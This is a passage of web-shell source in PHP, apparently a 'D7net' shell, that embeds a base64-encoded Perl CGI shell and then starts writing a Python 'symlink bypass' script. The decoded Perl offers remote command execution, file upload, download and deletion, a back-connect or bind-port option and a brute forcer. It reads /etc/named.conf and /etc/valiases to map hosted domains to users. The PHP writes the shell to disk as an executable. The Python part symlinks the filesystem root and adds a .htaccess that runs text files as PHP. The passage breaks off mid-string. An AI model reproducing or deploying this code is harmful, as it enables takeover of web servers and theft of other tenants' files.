QoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7";
  456.     $cgi = fopen($file_cgi, "w");
  457.     fwrite($cgi, base64_decode($cgi_script));
  458.     fwrite($htcgi, $isi_htcgi);
  459.     chmod($file_cgi, 0755);
  460.         chmod($memeg, 0755);
  461.     echo "<br><center>Done ! <a href='d7net_cgi/cgi.d7net' target='_blank'>Klik Here</a>"; 
  462.  
  463. }elseif($_GET['D7net'] == 'python') {
  464.     $sym_dir = mkdir('d7net_sympy', 0755);
  465.         chdir('d7net_sympy');
  466.     $file_sym = "sym.py";
  467.     $sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIiAgICAgICAgICAgICAgU3BlY2lhbCBHcmVldHogdG8gOiBQYWsgQ3liZXIgU2t1bGx6Ig0KcHJpbnQgIn4iKjYwDQoNCm9zLm1ha2VkaXJzKCdkN25ldHN5bXB5JykNCm9zLmNoZGlyKCdkN25ldHN5bXB5JykNCg0Kc3Vzcj1bXQ0Kc2l0ZXg9W10NCm9zLnN5c3RlbSgibG4gLXMgLyBkN25ldC50eHQiKQ0KDQpoID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXggYnJ1ZHVsLnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIg0KbSA9IG9wZW4oIi5odGFjY2VzcyIsIncrIikNCm0ud3JpdGUoaCkNCm0uY2xvc2UoKQ0KcHJpbnQgaHRhDQoNCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0